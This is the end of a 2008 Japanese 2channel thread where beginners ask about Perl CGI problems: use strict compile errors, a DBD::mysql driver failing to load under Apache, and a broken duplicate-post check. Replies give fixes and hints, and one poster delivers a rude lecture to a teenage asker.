[Thu Feb 28 18:54:48 2008] new.cgi: Global symbol "@test" requires explicit package name at new.cgi line 10.
[Thu Feb 28 18:54:48 2008] new.cgi: Global symbol "$role" requires explicit package name at new.cgi line 10.
[Thu Feb 28 18:54:48 2008] new.cgi: new.cgi had compilation errors.
Content-type: text/html
Software error:
Global symbol "$cgi" requires explicit package name at new.cgi line 6.
Global symbol "$cgi" requires explicit package name at new.cgi line 7.
Global symbol "@test" requires explicit package name at new.cgi line 8.
Global symbol "$role" requires explicit package name at new.cgi line 9.
Global symbol "@test" requires explicit package name at new.cgi line 10.
Global symbol "$role" requires explicit package name at new.cgi line 10.
new.cgi had compilation errors.
こんなのになってしまいました
0973nobodyさん
2008/02/28(木) 21:44:31ID:???http://xn--lckja1b6r.jp/Global%20symbol%20%22$cgi%22%20requires%20explicit%20package%20name%20at%20new.cgi%20line%206
0974nobodyさん
2008/02/28(木) 22:18:10ID:???http://xn--lckja1b6r.jp/%47%6C%6F%62%61%6C%20%73%79%6D%62%6F%6C%20%72%65%71%75%69%72%65%73%20%65%78%70%6C%69%63%69%74%20%70%61%63%6B%61%67%65%20%6E%61%6D%65
0975nobodyさん
2008/02/29(金) 00:44:42ID:tgKz69bW#!/usr/local/bin/perl
use CGI::Carp qw(fatalsToBrowser);
use strict;
my $f=$cgi->param('f');
my $id=$cgi->param('id');
@test = ($f,$id);
$role = int(rand 6);
my $html=<<"EOM";
<HTML>
<HEAD>
<TITLE>test</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=Shift-JIS">
</HEAD>
<BODY>
$test[$role]
EOM
print<<"EOM";
Content-type:text/html
$html
EOM
exit;
1;
なぜでしょうか?ググりようもどのようにしたらいいかわかりません
0976nobodyさん
2008/02/29(金) 01:10:23ID:???http://www.perl-labo.org/basic/debug/
http://oshiete1.goo.ne.jp/qa1936315.html
0977nobodyさん
2008/02/29(金) 01:24:08ID:QE3b1PuS質問すれなんだから結論くらい言ってやれよ
0978nobodyさん
2008/02/29(金) 02:27:29ID:???#!/usr/local/bin/perl
use strict;
use CGI;
use CGI::Carp qw(fatalsToBrowser);
my $cgi = new CGI;
my @test = ($cgi->param('f'),$cgi->param('id'));
my $role = int(rand(1)*2);
print $cgi->header,$cgi->start_html(-title=>"test"),$cgi->p($test[$role]),$cgi->end_html;
0980nobodyさん
2008/02/29(金) 17:26:45ID:tgKz69bW文字化けします・・・
0981nobodyさん
2008/03/01(土) 00:12:05ID:???$test[$role] の下にBODY閉じタグやHTML閉じタグが無いけどなんか理由はあるの?
あとEOM2回使ってるけどおかしくならない?
print <<"EOF";
Content-type: text/html;CHARSET=Shift_JIS;
$html
EOF
とか
0983nobodyさん
2008/03/01(土) 13:10:20ID:P2PC8CXRDBI -> connect( 'DBI:mysql:database=hogedb;host=localhost', 'user', 'pass' );
ってやるとコマンドライン上では何も言わずにスンナリ通るのに、
Apache経由でブラウザからアクセスすると下記のようなエラーが出ます。
[error] Uncaught exception from user code:, referer: http://localhost:8008/
[error] \tinstall_driver(mysql) failed: Can't load 'C:/usr/local/site/lib/auto/DBD/mysql/mysql.dll' for module DBD::mysql:
load_file:\x8ew\x92\xe8\x82\xb3\x82\xea\x82\xbd\x83\x82\x83W\x83\x85\x81[\x83\x8b\x82\xaa\x8c\xa9\x82\xc2\x82\xa9\
x82\xe8\x82\xdc\x82\xb9\x82\xf1\x81B at C:/usr/local/lib/DynaLoader.pm line 201., referer: http://localhost:8008/
[error] at (eval 20) line 3, referer: http://localhost:8008/
[error] Compilation failed in require at (eval 20) line 3., referer: http://localhost:8008/
[error] Perhaps a required shared library or dll isn't installed where expected, referer: http://localhost:8008/
[error] at lib/Hoge.pm line 116, referer: http://localhost:8008/
[error] at C:/usr/local/site/lib/DBI.pm line 772, referer: http://localhost:8008/
[error] \tDBI::install_driver('DBI', 'mysql') called at C:/usr/local/site/lib/DBI.pm line 618, referer: http://localhost:8008/
[error] \tDBI::connect('DBI', 'DBI:mysql:database=hogedb;host=localhost', 'user', 'pass')
called at lib/Hoge.pm line 116, referer: http://localhost:8008/
この場合、どうすれば正常に動くのでしょうか?
0984983
2008/03/01(土) 14:46:55ID:???解決しました。
'C:/usr/local/site/lib/auto/DBD/mysql/mysql.dll'が無いと怒っているようですが
実際にはその場所にdllが存在するので、このDLLを"MySQL本体のフォルダ/lib/opt/"に
コピペしたところ無事動作しました。
全うな解決方法なのか謎ですが…お騒がせいたしました。
0985nobodyさん
2008/03/01(土) 14:49:37ID:lvarZcaZif{FORM('text') eq @LOG[-1]}(&error('二重投稿です');)
@LOG[-1]で最後の要素を取り出してフォームの内容とかぶってたらエラーにしようとしたのですが
うまくいきません。なぜでしょうか?考えられる理由とか教えてください
0986nobodyさん
2008/03/01(土) 14:53:09ID:nNUS9Qi3&error('二重投稿です');
)
0987nobodyさん
2008/03/01(土) 14:56:55ID:nNUS9Qi3if ($FORM{'text'} eq $LOG[-1]) {
&error('二重投稿です');
}
この&errorを例えば
&error('二重投稿です:' . $FORM{'text'} . ':' . $LOG[-1]);
として内容を確かめてみれば
0988nobodyさん
2008/03/01(土) 14:57:55ID:lvarZcaZできないです。。
0989nobodyさん
2008/03/01(土) 15:02:11ID:lvarZcaZif ($FORM{'text'} eq $LOG[-1]) {
&error('二重投稿です');
}
この時点で二重投稿にならないので、確かめようがないのですが・・
0990nobodyさん
2008/03/01(土) 15:05:10ID:nNUS9Qi30992nobodyさん
2008/03/01(土) 15:17:00ID:lvarZcaZ>>942さんのを加えたスクリプトなんですが・・・
0993nobodyさん
2008/03/01(土) 21:47:33ID:???0994nobodyさん
2008/03/02(日) 02:26:33ID:???お前何か勘違いしてないか?知識なんて使って減るもんじゃないから只だと思ってんだろ?
人に物を訊くってのがどういう事だか、自覚してる?
知識ってのはな、社会人に取って金と同じく貴重な財産なんだよ。使っても減らないけど、教えたら広まった分だけ価値が下がる。それを分けてくれって言ってんの自分でわかってる?
社会で必要とされる知識ってのはな、本になんか載ってない事ばかりなんだよ。全部人から人へ、直接のコミュニケーションを介して伝わって来たモンなんだ。
そういうノウハウを分けてもらう申し訳無さみたいな物が、伝わって来ないんだよ。お前の態度からは。
猿だって仲間から餌を分けてもらう時は申し訳無さそうな顔するんだよ。ヘラヘラ笑いながら近づいてったら殴り殺されんぞ。
猿だったら今頃とっくに死んでんだよお前。そんな態度で今まで。研修で散々言われたよな。謝る時は申し訳無さそうな顔をしろって。
そういう学校じゃ受けられない教育を受けておきながら、社会人を経験しなきゃ得られない知識を貰っておきながら、
何にも生かせてないんだよ今のお前は。学生のサークルごっこじゃないんだから。もっと四六時中危機感を持って生きてなきゃ駄目だよ。いい加減いつまで学生気分じゃ。
0996nobodyさん
2008/03/02(日) 07:56:37ID:UDBaDi65>知識ってのはな、社会人に取って金と同じく貴重な財産なんだよ。
それを超初心者に教えてくれるのがこのスレッドの意義ですよね?
>社会で必要とされる知識ってのはな、本になんか載ってない事ばかりなんだよ。全部人から人へ、直接のコミュニケーションを介して伝わって来たモンなんだ。
掲示板というコミュニケーションを介して聞いてますし、この内容は僕の持ってる2つのPerlに関する書籍にはありませんでした。
>猿だったら今頃とっくに死んでんだよお前。
猿じゃないです。人間です。人間と猿のDNAはたかが2%の違いといわれてますが、それは大きな差です。猿=人間という発想はおかしいかと。
>いい加減いつまで学生気分じゃ。
当て水量でモノを言わないでください。あなたの投稿からは僕があたかも社会人であるかのように見えますけど、僕まだ中学3年生です。
まあ態度という点では気をつけなきゃならないのかなとは思いましたが、あなたには>>1に書かれているような優しさや、このスレッドの意義を良く理解してもらいたいものです。
>>995
ありがとうございます!できました!
ただDATA[1]だけでは、すべてのフォームの内容が取り出されて、うまく$FORM{'comment'}の部分だけを抽出できません。。
0997942=995
2008/03/02(日) 16:20:53ID:???なあ、ガキならガキらしく、オッサンには敬意を払えよ。
あと、試行錯誤の形跡が見れないと誰も相手してくれないぞ。
悩めるだけ悩め。そしてどう悩んだか見せろ。話はそれからだ。
ヒントは、元ソースの94行目 for から99行目 }まで。
ここで、$dateには日付、$textには内容が入ってるって事。
そっから先は自分で少し考えてみろ。
分からなくなったら、自分でどう考えてどこが分からないかを書けよ。
自分じゃ何も試さないようじゃ、漏れも付き合いきれない。
いい加減甘やかしすぎだと思えてきた。
1000nobodyさん
2008/03/02(日) 17:48:04ID:???10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。